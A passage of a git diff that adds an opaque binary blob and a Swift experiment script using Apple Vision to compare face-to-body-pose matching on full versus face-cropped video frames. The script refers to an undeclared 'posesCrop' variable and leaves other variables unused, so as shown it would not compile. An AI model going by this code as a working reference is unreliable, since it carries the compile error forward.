zs_97P_*DsaxspkQ|EhacK5ZJlTIYIqJA^xPz{x#Am)3GGtM{?`b5`3}UB~MEtUkc% zdR8A~^&wV&!RiK9A7=FtRv%?`Bdd?G`Z%kV8&VXZ15yyNr^2MzA`8RST|RlBA@ZlcaQ+4qB3=biE(+PLk4X zOtR9gGFeHz8`L93NnHrq4@&Byq&9&LftGhwQr`k)cT-aD>!x&{lB#sS6LbWW-d*Xw z4D>wcbI>I{l87XQ8tb_0J;p+21-3m=~V&pgVusJfOdfnfCltadS!#I z04)TyfHs3(1swu?4N5y*>2(QcHE0Xy6Hvc1lwQj~zXfHVsr33G=r^FQ{gqxDL1WHR zdOZ(XI6&!@G*IdFCFq;85x+s;F<9wUJVfc$+YBC{!9$T2&~DKA!<1f2Ky9FxL5D!! zfd&jmIH38Ut)N#yhd`f$&KRNenhNrQ9s=zJwSxwagbYA;gZ>2i22^|w(g!*K`VKVU zT*&fVWuPCl8T1C|6HwQ5W#AN0J!mti$0%iBI%pPX6=*Z)4N%|FO0OJHG3Y9g3$z-v zAJp?arI#Ia2sC&M>_LY?UxJ2>1qN*frJt|#+5@^_oYHGV2GR*C2Khl-P=Kx0QcHo` zRpWK|9TvZ>W>J2*J=0H>DU#_fVBLMCVdPFX3S`?)jGhg#A0jk)I0JU7c6ji!B&_{M7BZ#)7{<% zo4?TEtMNKLey7_7cZJRdhsy`O56&vfoK22;>8rr&u=&AxQHZHF!3C-9|jKvaB_3*Aj=|pJ;7#K~i?7U|wI} zoG(%`-Ro`$rlr|pvABbrAh*jzHLt0fD<@=YqJw0ZNqwN{T^6`aN5%gVF{ z*~*}7)%6Z-N=j-3Z=2T4NHCL1EqPwAEg+ImPw^(s*4$KNaR+$G7lgRj=&aG}K($nEi4eUADC484wehmB$< zEYUOAr~}Y|yhb#j(viK~;cxW1DsASguQGIL}#(=?#Iyu6G_99UsSL35ME)@*TS zWfhc!wYBAF`HPB{)XMtn&YH~L>b!23yU~Z1RHSB>+h#|bQ5Kq_Y1#EKw@!BY-1VZk zF1A~(c?IDKZEhl)BCDk)4{dGjJg0x2ZDze_2NAFTXqXj^qBY4w75C*>%cyueygqJY z3Nt6!1I_9zCv0r>mO{kdTGV7+Z1vj%ZN6nrmc!w8He0HjtWEyumsKnjY%Q6SeWG=p zL2NxN7PNC2nd7;Wm91}nMrDwfCDTK!vMg4#&1zGMma)3gS?_ncqz{fx=A=gdf}8@k z-EpbQ=`TPB=bz;Cs z#@aantuHI10^PeDW*{04TLZPu8vF4DjXuA-K}Hdy0qS9$8YdOLX%oE;dt;5GnTi0B z_$M@zrqw&p&->>r^UtiB=2uHZh0iiewJP^4^VUzB=yQAh4m*l*UVf46KP@&+k8??_ zh_`K`&Er8eZf$$=6>1&}RIf$8%xtUZHBd4A?i#n&(&DUfO8)j7r)z-| zGH6KVan%7cU*^Oa zE<1*?uG$$?70}LAqS|ESXO#OXS2D62Y>OQE8F@UE@MUHexEs*P*=IRjj@grK-df1O z<@ZtZV^JHKFlm>eh+uq$5SrmI7`q}%b>1|TiN@oU1#&vP0O%w*+w<&oc|oF*S54+@W}Q#P;s)H))R{gLiW359nW($6HCzm zWYo>bs0_%vlhG5Y%SOZNZuU(imJV;_vRLsm8Yu>Z$D+%eXhnZm;|LC03o{F>XoGzC zz-i7av}R;l3nvuNXTqGztjPFf+~OJvIo^=7vgs2e(!g001C;51XB480-VurBCSBm_ z!2NrtJ@}b|V03|SrOcWb(gB8akd+zSco$@#`SxW@lqD{o8k9hnQoc-%7h96`U|8r}=CF(Iiki!&B5S_KpTATUjb>1S)?}Gwj<$ZVqwyK)x9|)Xy7me;kAm=V zCfe)frhE?uEY@im0eOtKRr{Konk=)*m+3pWpqmC;6Wm}pM9$Q(8l0{$!wKTkyTn8N zwoih&771jt$*ncFv7(<0G`P||_iDZg9(>FCt&@EYk4^MYnHi8N0;S%nx!GfQT|%od;Us*(J#muBVaw}JE@Y9&7uq>bGnaxs*XgQg*L zEZ9uzx7Ojus2$TWE^4z%@BxAu4a^lt&aeg7f`WQqn&-)i%he2*8WMGl4y`AAdAS@uUj=m{DzCs7mQ0cQi6v2^Ymv*n)D=sHLVv9lq6+@CdP{ z1YahiNXbyqj$_2!D86Z|wxu?j$ctb@6*8iQpJIh!Q#pE_hCo6?xQ05RFVc{bx6oZ} z^)|Xx?tYtZku0B~CiFR3f-llSFaFJGbkKLFjHvK|nM^TTrZM887~%|th?uBi3$cS& ze+?%7M)>k)&#e@yb7HntYAy3*T?#ZZmU$JJ48=6oyc~=`#GnRUY{qzuaPl+epp(ZS zt75UvMZg-FCG33TCs;8q2pe{kJ3Q#eF`^V1!|g|0Zp$*pV;oamQ<&k)z&|l`;jkhP zUYL1g%Q7Uhni65yZ^jiV$-^>7h86ZjDMev0K_>lVPSDJrQMILJI}g2Pa3-xxW{A-s zrYs}ab?0Rkkar#&Eo+{xN+|LiU0Fu>SPLuyV=XN&b)XfCqwyF@!`V`OLad{VjljIQ zNz0T5Ml!CJV$Pmo%N)+I;>mRww8{}XM(CdI&{{CIxHkmbLOzt$wh(g4KxMSOM!!xrY$L3Oc_m8>Gzl_jwQddSglQC;+WYj%7UJOo=aK z{2JpD;K8OAB^3*rqP2&3nMtNZTJmXIozsvX-<0Qmu zFe3U5<6(?b)=7S4j8hr=8K*H`%eX(|?TpQg4=_$=oPu;yco~e-8RsyrXI#PfcLKL4 zJs+3xIoB-HTgKSJcsb)1#@iV`!ML6AL4g$|`wu|#eZu$yw$J&4bU$LG zbZ_6w{u#G3u3}uZPukzWct7I@8E5}V+8<-w#JKM{l7G)XOZ$ny6rU!>_p!a_RcZeV z#%mdGVZ4L!Ta2^+D&41?EBS9=d;#OVjO!Q|z9!wTWW1hn8{?eUrTuSId&Y+ur@SHU zk2AJ29)O0P>hmhb`HYn}rTb>a>5PBOcqQZQjE^vWn{nD((tqz!lK+j2OBruuyqt0F z+tU4`jF&ThpYc(~=Z}{B`oAOHS2Mnm@hyxGF<#5K@NdkY@p{I)81HBN8sp*v()}mE zl;7JKThEjD2;;rLB)_zS()~Z#{zk@*G1C1;#y0?y`y-6+Vf+c>P3&HISMqy>aq4># zeeKz9?#{CXU`^Cb&qU`xV;@jB&0mf~NKVkeV z<6}pp`!^V``AFh_F;4$j;>*vM@!7@r2aMlhyo0g%6Y2g-#s?S=A1D2{GoH+t7}>ly!q@e#&EF)y zcE%eSCynR$Gp=Wx`?>VLpK%joOSW{sgYlb;d;U|ppEp6;S1|q=<2J^xFh0WgUyMf_ zlm5p~l>X}&H!$AF_@|7IG5(zKm@lON>PgbSpYfZFcQC#rN7|=;Dc!GSoXz-C#)lYB zm@M6=eI?!B#CR3st&I0G{*rM@yL5lf6zM;m@l}i~7~jI!!}ux2TN!`K_!GvbUm*Ei zaa{5*V!Vp+LdHiJ?*yjyA>(W5{utXAGVVK7+HYdK5SYs2F2)-fXZ%b0Kg`(9IPF5| zem~1LJWQ$?%UcZUPqV!?)7^Mz;4e9&oX=U&+`DOzAtu_#w7W z{Z9ISpYc@2{c@%Mjf_hezr}bdYV$x=Q<_jN2KXT`0pV>?ZAJGj3tLit#SSzh|79D&3EoCjFN& z&SiWB5j) z?aNM){<{^if5u~gg@4Akvi%{(``Ny%r}TeZ_0RbHV(?2=l=*$6eG%gp#x}-njIUw5 zgYjLA4=~=wSm`VIy~Ehd_#cdO8TXsP;WM7hxP|co#%+vmV!VU#6O0cq-p^P$O@`m= z63O4pcm(5I#xoetXS|GY3*$D%ZH%90yo2#R#s?T52JW4LirG(we~j!?F#cfNZ>F?Q zV>}UfFx>ZNyinj4#mx9ejMEuE&Nzc{*IAN(4&zaba~V%yT+Dbn<1)qz7*{dAnelwa z+Zop}-p$y<_*2GBjJub}__Qz{#dsxSE92FSS2AA9_$9_|jE^(kz&Ni|^51c~ly42= zlrtoLfN=)n=NQ*BKFYX_anIS3-yX&nG46k+-dNZeiT3O#0u#_+rNGjBjCF z*kAJ7#@NI7FRFjWUok$wxc3~%{|MtjjK`cM`Pms)F}{Uy8{^+G-oy9<#;F6O{{iKa z|5U~~jO!TJGv31Zhm6}9KhJo~K*{fY#vaClEt3Cs#(9j7Fusy-mlowC#tn>*GQOX2 z-?JtE=NYFnKCeRhzl8BT#^sC`GQN!QEsU!fZ)RN2_-)2Z7>~GA@?Xh#0^`+;9gOd0 zyo&L9#!oQb!T58=?=m)5O8#93$@DE`oW=MTjHfbI=1TXajL&6U!8n_7730epU&XkN zaW&&R7}qi0z}UrjA7ek`V~m$EKBbD~!?=*~?Tjsq*D#*XcrD|H7`HJ_n;r|3St%jCV4wV*D=Sm5je)yoPa?t7LrJ7!P5*gYiX-4=|n$+`Ffu6pxhQ zFJios@h#-OXNz)x@dJ!g&ynt*VLXEIhm3O>CtIceD;N(W+^a=tVtf(fRgAA-+{W0? zcnjnE8SiGio$*_Y-z40-MLEj&TgIv9%J`l&U)q})&t#m#_!`D#j9+A2$M^{27RFs| zlHXd!Qy6bz>;vxIM^P%$W%zdz?u+pp<6ja!Q&HLrrTtFE=4leY&A5s2ap1vlzmjpk zYUzIi;|#{ibm@Nt&AUL zyo2$ZjCV8czCgM^%6KT_{zX#07c`ijI$XxF}{Lv3*$Q(uVnl<7=!xQ|=%t7Ci_V-MpWGj3x1YsM{%k1<}!c&JD6Tg~`V#%mcjGHzqMitz@GtMPEP*Ic> zGXJk+oXYrW#{C)p6u9@&EJ9R4lRektQN#*eD@E2aGxsy*XTjqLvi(!Pjs8{#F^& z(tgkqjz8lI8Jky0d#`HG_)gXSHfg_GwP$=pwZC234_nIo85c1&-y!X9Q0*BfAuCTc zrQyGv?>s|boQv)!F|tlE(ex(&Ds=cp9p0wHdnG;viuiqr|KJzE=vD~#Vr%6Q9ezfK zU(n${=t#jX_YiM|9>+lF2&eGvr9llbB7fMVmp7{Mhhws(lhjjQ!i38>DB^~~Q4!^F$ zpX+c+x6t&SqQhtC@K7DTNQZ4Y?9<^pboc=sepTW?eZB-ahw>c2J0uRI|F8}Z>K>Y& zVjZs5;hS~%bshdvhtKE{%KtJQzFUXi*Wt-XiMIW?NryXh_=cXL?*FC3S3we5e#>?E z4>~-mcc}YiI{cIlcj$2SsiFSY>hMQ8JOEvRHhvfDuvdrg)8Th?IH^x4zcY1sj1EuM z;psYDp~E&EUaG?n=bogr>K2MGt z0^wEY@bxacP;r7t(o-kd8jYMuPek{Go@{yY++)XU#bB}S>0 zzh@;zuFBs5i6K?_OThpM;UU%Xcdo>N{%V%Qh^741OAIdZw@PCCm%k?@#*B^py()2k z6?cOT!aGaFBPAZ7;!=rem?nOUBp#$%SqQmPX4)oX0=1V*=63piQ7BK$}5Ng6MnVDbUlPUxBuQwt;>PdIq!|^epH%pyxn4Ks!OtgI)mb0=)?O zE$AiC4?(wrC|WpvX}MP#smQK=LQvbhQy%PCUp0*X@TWxU5R;=qn{(aZ91P_9S9rKLmkSG`C(0jZL zieuoyE-sCsp5iTy;(i$YWUuO{1_ecKAFeBjlxLW5tO(iNIg9t^~wRG6aImLFkg_A73CcKfBlZ2$YUC{7Dl%H z|KlD4qwJ0A0*7e#5+$x)!tFM=81aAh>ZSkST`2#LU-J}x_jb(tuK#^ESclvv%-6b> z|NF1~4hc5q1>Pa9)r*W1mmX^_UJkh+Ie6Ld|H`GuC-p{qzFKPf?DB$X)>*T0&)*1X zq`l@Clce&xsR+($YH(v3u4%(9RfdiVaM@X2quq&{@uRv4UaTC$A>TzGm08J*!Wl8x zh->?!xG8k{JT`GvmSIS7MR~^TnRKg|Arrb=jUF5@60*E1jc%Ne;%E+@DDW>MQAcrv z8wcrXX}VWxh8?$VITtu_2W=D&Rb|n_wC2m}jI9fBYjm^}x}$~Rb2bFtR*3k7LF|_S z^iMLl|HBu9%bXK80*2iA7U7P-&?^P`CUWUN)Jl6}V8}gl|CQV8689a_eUi9VFVcO7 zx~u)7UVr%CzxPiTwm7e0w9$QpR=P`2!5zw~zG6;>H3ZMg1Rmj=foDdn&3?WC)asex zs4ey`b6YFQquWY;(fn8B#o&;q^2p3^G~p^{dTzu&9v3c7UP6zu&>J6UOFK)l| z;eJ=TlXad=-16Ev9~JW`?X)=9nQ$uRNC|b)*SxF~3Tym{_?nk}LcS)PkgtitSM-a2 z=gt%@CS^guvfFxT;j3+}?K zln&{o3tR^5l$QZx%0IKRG{Pe(1)1Y(mS`RvnuPa2=p7u*#H$(^c@t*~7q(_k zQQ%nxOzubhS}MrPZ&vS{#~sgjS3unBY;?zSUcO7-r)+Ugl%K4XnOQV?E5c3kb$Dc8 z8Vew=U{XQRbQ)h(@-_ZO9;DpD+-nPDW`-0xl@()|=hWai6M6$j2tT7BTNL4lq7TO2 zQmbaeBz`PPFZT%Y4oY`&;KQ{*lRshEVW|y1gyGK0QFA2Z4IO?1N1GvW-YLBxPd4rG z-a)+}Pd4f(M;UpQ>O))wCGy>;P{YuD8Pmo$dh7G@wM)C=T`EqU`Yqse`S1`Ct_b%# za9^`{#f--8;#%n7WzLnjj~T0i+7(U##84DZV9jte=hrniTale%56%=-EJI6NO|PQi z3UN;}t|YBT?@0`sJ#%N{p(bf($16x)chFjmp=ypM$6>d+JvKaoMDL{e{PcNYtG8yz zxKZ-+=p8iq&JBwwQiLqE-0nw=E)4OKQ@wAle4$O;@*SU)@~V*nTa8~z%a@&Hr56Mm za0|Q7w!k57oyPsn5Od(3=)e`uxDURjhHkN+j)%pHtY|r`9+zLe4;`1l#$crSmlvHA zizd~(wsyuItswg*@f&Nw_tb1r9s;VGw%}6H(^?jfZ?Jjj#TGm~Q7aVjg3mlW$3ZW* z%$v!BwsL@SrqCNqIJ)(;R!e^p8K&_(3GQv3WS&`UMLDY%SX4G zH~K0ADT-)|n9s2kP{Hf$;BNwIvEMh#ig#wl+m_U#Q=Hg9PX@Xy&PjOA&f%Sahe2|L zE;A#8nq7;%NDNIa7ENWa7X^W~+-SQ;P4%E14$UF%0z-r%Z8gHB*O?KXg)#Q5iAI#7 zrwhZldk#o_Ja^yR`x==eABxp{0M{7ZvdRU{)Q*9TbixUYEJKo)IjOQ#_kvr2E@ej2 zqskh=bAWwBYc;wt`nJeP2sUtW>tO1$sM0-(GQ8@ zY>CrH+*uS~1d2MFK5bhOBL~zR4-A`B1I>^~H3}X3hV+znPI86l8l|vQGud7KXId>w z77hB*(l(yJcj1XOl$L6XJ=oES##6L!VeeA0XtZr&>^}GV#VLHQAlOOjin zc6+Q#+)g`26ZGU@&_+&fj?c2@=zAUwD|(1FG=nvk^nj(2r7T)nkp#a;Ln0`nk)0DE z8i96aX@qD5Eh9uDU`f$XMIl4Vv1U`OBM*5vAOlMo5bB-L`-p0N`Zs+s)>O=vQIFL* ziEqY$>p%;j`(ULZQ)tbn&xC+CO*;|$(<$I9Mh6obv&`5-xgcZX!Ca?CY5|6sx^aQg zz6nc#FRwtmd7?nPeo>%#{bDYcsLpW=e-s0pwU1&1f>5{hRGe5q#&2b40u*m$oU{<5 zY#l$;hBi=wDmp^u)f}(l;DjsRuc`;8vL8%5hb$` z6VXNlVxVm!;*$b>RENEkq}Jt#AL3DcgcaqeEt7%km~E4Rzc^YaUDp#WEm;}#&06EG zbWe-fWAzc3|%(UO-Zx#-!JuSga?;IJ`O_0Bv;$gru(yCl;P@`PYOi%Kym@ zI7)#R`)RdOJ%Iv04+TDWh(>))tvK+S8s}1c)hF;O8;ueT1g)7fkB_M(G>YP!55*5p zW1U#!45Oy5X&A&jTJ?xLho_6WD&1*%=|=Xgm1Zp#_F~N#>OvEOqM(9;iV=>wyoM2e zc$*TfWz@GLp*f}|yD%)-I)B;(TeQj5xr>xgVy;Q3&PRZ=#iC|%*hoIENA-AIPtX0? z9n@3#xT<#UpDzEW{mX{x|WYzi=A73$Wo1@kpqYff+@egb64ZH_RsjdzfIFD2j zLYsR7kAZN4wV@M2F!-+S42M`F+RpGgfl)5a4g|6?LgO1)SVQ9*am*iD4Z=AX7J0SI z8DtFjYQi>fq)r#cCnVGdqskvMGR9;3m|jB`#Ug(>#Ew}OPL@YLlcn9NpvEO$d1#{+ zKFm?28*YQl39j_zVekY)DtjS9pmq ztXZ0&UDzl?*LH;28#0YgZo%PQ80XG+jp0caWi8ltMhGL07R)e-LAe=}olxN!I5K44 zNeLRT@4Ofd7{!*QVM?e>iem*0zFG^a!3dk(F88QR(OFdE?4cdCAm81jv#GJUa9oCt zguz;G=XNc?MrAk%v+y*RI-0O6q`_0qTO@T(Dc zsUaJDvCy|7U)K~S_4v9)WB*Zk8-08jMTUkCMs`MD13@40$-J`(j*qKW4DtCe?A}!Y z#K(rl5uNjKvIH3|v$U~_{1vV7t^b_jTBvSO=0?S6MWM6#X*3?w){(H0ZD#|CFm{g4 zKW0q{i;_lw5hm1xGy^aO-7<6JhWnF?V zIH-!%*W6I;u6Nd$#dt%54Mzgl0*0Tb$jn0m?2ijDi8w0I*bA=_`+s3mRAi1dcrZul zK=lDxYU6Z`sdWq+^xmx=b6^aiOQejgIi%+g>`m72fjlBP4Ga=APFXan2Z%R9UmhA_ zBsP=-_96}6U=%tbIT8nCr=P+LWos~~&^QXD$-rskL~0m_@)Uh+p>eGVF1nw1!sUF6 zccc+18j?liz#!fDx-mWD&>|4A&^e>~iCAoKx<62hMZ78dBb;LibLN|X8KLo6m0=d} zA90pAl0)4}pT>#B9lY*TW2{E8(=xBq*IaQBJQX1AEN*5HZ)c-=(--T2dBheyU>l*o zQ0)w7ccg>RVIRkOVx^M?sev?vmz4nb$ZKiRdNLi^7H7_*i!%>&^_*xp(b%ZoBe}jS(@EA$>`Mj4ta<-|q`iQf6oDo;Kgf%`TY-1F0)nmlSiD?6I zp9sbgx(G(IGwKmB7r@-&OO`f__mK3#?fwSl}UZ)3lKpQt;b1`T%Y}^(Y+m(h{1%|W{SO)A$!dV9F zz|!z)uR!yGd)I>3$wcuGyl^aDAEB3Y#p`Q!HLZ`+on!I(prmv@cIq8#@rHs6$>Mb? zu3d}QvABaRUdNHIQH$5N+ZV4(x*08AwG;#R(RJ>&)M`it8~W#~hvbaXJj)>T&C@V+2m9nEt=tsn`Z3|pXuVbW$5Z$iS$p)IQn(F66qt76((2YH66lt=m_kjtlDv84TXqR zJ2gGJvx}S{xtgc4F+Q`%&J89Uc>9=0Wne-Ni-M|TB9E?%V%dj^4=99Bpl31Q6SNQI z6KU3uR%8vB2f5QCqne^9Gkx(n3XK!k8Qj_w5WH@LCRQv1c^i6V1aBCVMK<=;5bRES zHH0)0MLN=|rbY}AS3N@$XC!cH7$V&a!Q3O-s^W-oZkL@=0;11TYEly2VZ2F-&P7`` z;%k*pz(>4MjWYsj4C3rYv~58Q>8qI;IPt9-XwGs6b5gy=0arT&il=IZs~z-a5w1Pp zf*xPG)wt+CjRNM8yF(5m(!{Rn)3CKx9q5DP&1WiWT}#l3ZDE}fKxnA(39a*SiI7&> ziL9nIqL4#l7S6$No=RnFFmebjx^bu2X#F&1XvSZNF}>1cR!m2+dIdP`}pQCgIO3+ zPMUgP5XI1l7&xz-MUw8#sz5<_2B^LQ$V>SH6Cy=MKE${1X`9xo+|6 z2Q$3t+hv84l%gm}_`}oJpekvtj8c+rQp`z8PsTBn_BwW8(oDzB{ne@mSG0WaLhYP) z2iwMuDgEh{e}8@Fig$<4y5NHDU%z!t)lHWUs$O((_e=Tr&fIXkW9qHHT3Ffklzsl? zV=sKqb?eTlef~0OG#*)H}t!9*KI$qz3y_Jj{Jr_ZE$z>3 zz44yufBomwRf~V;otpaI;id2V@Xxc}ZeO=|$gbu^H$Feoy5{Kzzr1w>O|6fu8}|0m&uh&0wLkhs*@#EGy>~(B`bv*+87u4mG1$NUo}X+x zIAht>$txZic>Ta*!!myM>#P30WdE>(3m@1qz44w0CXWB?=<}^V8GT8TC;zM?t8Tmf z@Koo@;lt;@U-;8~fBE8(H}{;GbbITQ$rqga&|}YzzV+9a&l}SGUC&*6J{mZ-*OMmG z<2!cz<&M(1gFJ6{Y`U(kW#pfKe_q2~Js-bs!;l>}v_1NiWA3lco7^$pHFU)(yW9u8 zf4U^?{T|0FI`&Q*f6L;hmLFMn-5rNsfA_mPf46g7j~{%w_n(7Syz-XkmLA^i-= z>$ADf+ID^4ER)7A4KD>e8`%%kpJ6z47d=#XlJHi=CBw z=T7=d?~=z_A91g{c2ISntb0pVQH5^47is1FJ6_``z!hJaPSz34gx5@BU9se}8me&t2zuclDlF^~>uYSXfa0 z-i;T``*?5ri>J4D-2U^&Z4GCo+&*UAT_0SN|Hm5--`qBE{h@PL{k3YwpAVh&=35(2 zTi?&@o6&X0sOQ?Ud))L@+sxO``~9s?cKh}x1FJSanv%Ky3d@#_xBj?$-fLHNe7NtY z+j`F$bH>b-J!f_O(L<;GVWxBH)|*#nyxW}pm6<5D>&)x4V`r#=(uD){guCKrP@NZpuZ$5u|k38R;jlLewP22wWT;~}T uZ?&&{>9ML+vmUY-aGF!I* literal 0 HcmV?d00001 diff --git a/experiments/face_pose_sync_poc/face_pose_crop_experiment.swift b/experiments/face_pose_sync_poc/face_pose_crop_experiment.swift new file mode 100644 index 0000000..71e5ccd --- /dev/null +++ b/experiments/face_pose_sync_poc/face_pose_crop_experiment.swift @@ -0,0 +1,338 @@ +#!/opt/homebrew/bin/swift +/** + * Face-to-Pose Cropping Experiment + * + * 用 face bbox 放大比例擷取區域,送給 Apple Vision body pose 處理 + * 驗證是否能提高 face-pose 匹配準確率 + * + * Usage: swift face_pose_crop_experiment.swift --video --frames + */ + +import Foundation +import AVFoundation +import Vision +import CoreGraphics +import CoreImage + +// MARK: - Data Models + +struct FaceResult { + let x: Int, y: Int, w: Int, h: Int + let confidence: Float +} + +struct PoseResult { + let bbox: BBox + let noseX: Double, noseY: Double + let hasNose: Bool + + struct BBox { + let x: Int, y: Int, w: Int, h: Int + } +} + +struct FrameResult: Codable { + let frame: Int + let faceCount: Int + let poseFullCount: Int + let poseCropCount: Int + let faces: [FaceEntry] + let posesFull: [PoseEntry] + let posesCrop: [PoseEntry] + + struct FaceEntry: Codable { + let x: Int, y: Int, w: Int, h: Int + } + + struct PoseEntry: Codable { + let x: Int, y: Int, w: Int, h: Int + let noseX: Double, noseY: Double + } +} + +struct Summary: Codable { + let totalFrames: Int + let fullFrameMatches: Int + let croppedMatches: Int + let fullFrameAvgDist: Double + let croppedAvgDist: Double +} + +// MARK: - Detection Functions + +func detectFaces(imageBuffer: CVPixelBuffer, width: Int, height: Int) -> [FaceResult] { + let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:]) + let request = VNDetectFaceRectanglesRequest() + var results: [FaceResult] = [] + do { + try handler.perform([request]) + if let observations = request.results { + for obs in observations { + let rect = obs.boundingBox + results.append(FaceResult( + x: Int(rect.origin.x * Double(width)), + y: Int((1 - rect.origin.y - rect.height) * Double(height)), + w: Int(rect.width * Double(width)), + h: Int(rect.height * Double(height)), + confidence: obs.confidence + )) + } + } + } catch {} + return results +} + +func detectPoseInRegion(imageBuffer: CVPixelBuffer, width: Int, height: Int, cropRect: CGRect? = nil) -> [PoseResult] { + var targetBuffer: CVPixelBuffer = imageBuffer + + // If cropRect provided, crop the image + if let rect = cropRect { + let ciImage = CIImage(cvPixelBuffer: imageBuffer) + let context = CIContext(options: nil) + let cropped = ciImage.cropped(to: rect) + + // Create new pixel buffer for cropped image + let cropW = Int(rect.width) + let cropH = Int(rect.height) + var newBuffer: CVPixelBuffer? + let status = CVPixelBufferCreate(kCFAllocatorDefault, cropW, cropH, kCVPixelFormatType_32BGRA, nil, &newBuffer) + guard status == kCVReturnSuccess, let buffer = newBuffer else { return [] } + + context.render(cropped, to: buffer) + targetBuffer = buffer + } + + let handler = VNImageRequestHandler(cvPixelBuffer: targetBuffer, options: [:]) + let request = VNDetectHumanBodyPoseRequest() + var results: [PoseResult] = [] + + do { + try handler.perform([request]) + if let observations = request.results as? [VNHumanBodyPoseObservation] { + for obs in observations { + var minX = Double.infinity, minY = Double.infinity + var maxX = -Double.infinity, maxY = -Double.infinity + var noseX: Double = 0, noseY: Double = 0 + var hasNose = false + + let joints: [VNHumanBodyPoseObservation.JointName] = [.nose, .leftEye, .rightEye, .leftShoulder, .rightShoulder] + for jn in joints { + if let pt = try? obs.recognizedPoint(jn), pt.confidence > 0.3 { + let px = pt.location.x * Double(width) + let py = (1 - pt.location.y) * Double(height) + minX = min(minX, px) + minY = min(minY, py) + maxX = max(maxX, px) + maxY = max(maxY, py) + if jn == .nose { noseX = px; noseY = py; hasNose = true } + } + } + + if hasNose { + let pad = 20 + results.append(PoseResult( + bbox: PoseResult.BBox( + x: Int(max(0, minX - Double(pad))), + y: Int(max(0, minY - Double(pad))), + w: Int(maxX - minX + Double(pad * 2)), + h: Int(maxY - minY + Double(pad * 2)) + ), + noseX: noseX, + noseY: noseY, + hasNose: true + )) + } + } + } + } catch {} + + return results +} + +// MARK: - Main + +func run(videoPath: String, maxFrames: Int) async { + print("[CropExperiment] Loading video: \(videoPath)") + + let url = URL(fileURLWithPath: videoPath) + let asset = AVURLAsset(url: url) + let tracks = (try? await asset.loadTracks(withMediaType: .video)) ?? [] + guard let track = tracks.first else { exit(1) } + + let formatDesc = (try? await track.load(.formatDescriptions))?.first + let dims = formatDesc.map { CMVideoFormatDescriptionGetDimensions($0) } ?? CMVideoDimensions(width: 1920, height: 1080) + let width = Int(dims.width) + let height = Int(dims.height) + + print("[CropExperiment] Video: \(width)x\(height)") + print("[CropExperiment] Analyzing \(maxFrames) frames...\n") + + guard let reader = try? AVAssetReader(asset: asset) else { exit(1) } + let outputSettings: [String: Any] = [kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)] + let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings) + reader.add(trackOutput) + reader.startReading() + + var frameResults: [FrameResult] = [] + var frameIndex = 0 + let scaleFactors: [Double] = [2.0, 3.0, 4.0] // Test different scale factors + + print("[CropExperiment] Processing frames...\n") + + while reader.status == .reading, let sampleBuffer = trackOutput.copyNextSampleBuffer() { + if frameIndex >= maxFrames { break } + + guard let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else { + frameIndex += 1 + continue + } + + // Detect faces + let faces = detectFaces(imageBuffer: imageBuffer, width: width, height: height) + + // Detect pose on full frame + let posesFull = detectPoseInRegion(imageBuffer: imageBuffer, width: width, height: height) + + // Detect pose on cropped region with different scale factors + var posesCrop2x: [PoseResult] = [] + var posesCrop4x: [PoseResult] = [] + var posesCropFull: [PoseResult] = [] + + if let firstFace = faces.first { + let cx = Double(firstFace.x + firstFace.w / 2) + let cy = Double(firstFace.y + firstFace.h / 2) + + // 2x scale + let scale2 = 2.0 + let cropW2 = Double(firstFace.w) * scale2 + let cropH2 = Double(firstFace.h) * scale2 + let rect2 = CGRect(x: max(0, cx - cropW2/2), y: max(0, cy - cropH2/2), width: min(cropW2, Double(width)), height: min(cropH2, Double(height))) + posesCrop2x = detectPoseInRegion(imageBuffer: imageBuffer, width: Int(rect2.width), height: Int(rect2.height), cropRect: rect2) + + // 4x scale + let scale4 = 4.0 + let cropW4 = Double(firstFace.w) * scale4 + let cropH4 = Double(firstFace.h) * scale4 + let rect4 = CGRect(x: max(0, cx - cropW4/2), y: max(0, cy - cropH4/2), width: min(cropW4, Double(width)), height: min(cropH4, Double(height))) + posesCrop4x = detectPoseInRegion(imageBuffer: imageBuffer, width: Int(rect4.width), height: Int(rect4.height), cropRect: rect4) + } + + // Calculate matching distances + var fullDists: [Double] = [] + var cropDists: [Double] = [] + + for face in faces { + let fcx = Double(face.x + face.w / 2) + let fcy = Double(face.y + face.h / 2) + + if let pose = posesFull.first(where: { $0.hasNose }) { + let dist = abs(fcx - pose.noseX) + abs(fcy - pose.noseY) + fullDists.append(dist) + } + + if let pose = posesCrop.first(where: { $0.hasNose }) { + let dist = abs(fcx - pose.noseX) + abs(fcy - pose.noseY) + cropDists.append(dist) + } + } + + frameResults.append(FrameResult( + frame: frameIndex, + faceCount: faces.count, + poseFullCount: posesFull.count, + poseCropCount: posesCrop.count, + faces: faces.map { FrameResult.FaceEntry(x: $0.x, y: $0.y, w: $0.w, h: $0.h) }, + posesFull: posesFull.map { FrameResult.PoseEntry(x: $0.bbox.x, y: $0.bbox.y, w: $0.bbox.w, h: $0.bbox.h, noseX: $0.noseX, noseY: $0.noseY) }, + posesCrop: posesCrop.map { FrameResult.PoseEntry(x: $0.bbox.x, y: $0.bbox.y, w: $0.bbox.w, h: $0.bbox.h, noseX: $0.noseX, noseY: $0.noseY) } + )) + + if frameIndex % 50 == 0 { + print(" Frame \(frameIndex): faces=\(faces.count), pose_full=\(posesFull.count), pose_crop=\(posesCrop.count)") + } + + frameIndex += 1 + } + + reader.cancelReading() + + // Calculate summary + let totalFrames = frameResults.count + var fullDistsAll: [Double] = [] + var cropDistsAll: [Double] = [] + + for fr in frameResults { + for face in fr.faces { + let fcx = Double(face.x + face.w / 2) + let fcy = Double(face.y + face.h / 2) + + for pose in fr.posesFull { + fullDistsAll.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY)) + } + for pose in fr.posesCrop { + cropDistsAll.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY)) + } + } + } + + let fullAvg = fullDistsAll.isEmpty ? 0 : fullDistsAll.reduce(0, +) / Double(fullDistsAll.count) + let cropAvg = cropDistsAll.isEmpty ? 0 : cropDistsAll.reduce(0, +) / Double(cropDistsAll.count) + + let fullMatches = fullDistsAll.filter { $0 < 100 }.count + let cropMatches = cropDistsAll.filter { $0 < 100 }.count + + let summary = Summary( + totalFrames: totalFrames, + fullFrameMatches: fullMatches, + croppedMatches: cropMatches, + fullFrameAvgDist: fullAvg, + croppedAvgDist: cropAvg + ) + + // Save results + let encoder = JSONEncoder() + encoder.outputFormatting = 